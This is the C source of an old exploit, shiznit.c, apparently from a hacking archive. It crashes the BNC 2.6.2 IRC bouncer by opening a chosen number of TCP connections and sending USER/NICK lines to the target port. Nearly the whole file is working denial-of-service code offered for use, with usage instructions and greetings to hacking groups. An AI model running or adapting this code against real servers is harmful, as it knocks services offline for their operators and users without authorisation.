home *** CD-ROM | disk | FTP | other *** search
- /* shiznit.c 1.2 - exploits bnc2.6.2 - shutdown bug -datalogik@chatnet[#nw/#bitchx] 01/01/99 */
- /* greets; #nw, #bitchx, icex, drseuss, g0t-milk, virii, zap, and the rest of em... [2000]*/
-
- /* this kills bnc 2.6.2 when supplied with the port. loads as many clones as you want on
- it and kills them before the bnc can identify them. - datalogik */
-
- #include <stdio.h>
- #include <netdb.h>
- #include <string.h>
- #include <netinet/in.h>
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <errno.h>
-
- #define L 256
-
- struct hostent *server;
- struct sockaddr_in bnc;
- int clones,port;
-
- int main(int argc, char *argv[])
- {
- int i;
- int sock;
- char buffer[L];
- if (argc < 4)
- {
- printf("ā usage; %s <server> <port> <clones> \nāā- -> %s shiznit.com 9000 300\n", argv[0], argv[0]);
- exit(0);
- }
- if ((server = gethostbyname(argv[1])) == NULL)
- {
- printf("Can not resolve server.\n", argv[1]);
- exit(0);
- }
- port=atoi(argv[2]);
- clones=atoi(argv[3]);
- for(i = 0;i < clones; i++)
- {
- bcopy(server->h_addr, &bnc.sin_addr, server->h_length);
- bnc.sin_family = AF_INET;
- bnc.sin_port = htons(port);
- if((sock = socket(AF_INET, SOCK_STREAM, 6)) == -1)
- {
- printf("error; couldnt create raw socket\n", argv[1]);
- exit(0);
- }
- connect(sock, (struct sockaddr *) &bnc, sizeof(bnc));
- sprintf(buffer, "USER die - -: %s\n", argv[1]);
- write(sock, buffer, strlen(buffer));
- sprintf(buffer, "NICK die\n", argv[1]);
- write(sock, buffer, strlen(buffer));
- bzero(buffer, L);
-
- }
- printf("Clones connected, exploit finished.\n", argv[1]);
- }
-
-
- /* www.hack.co.za [2000]*/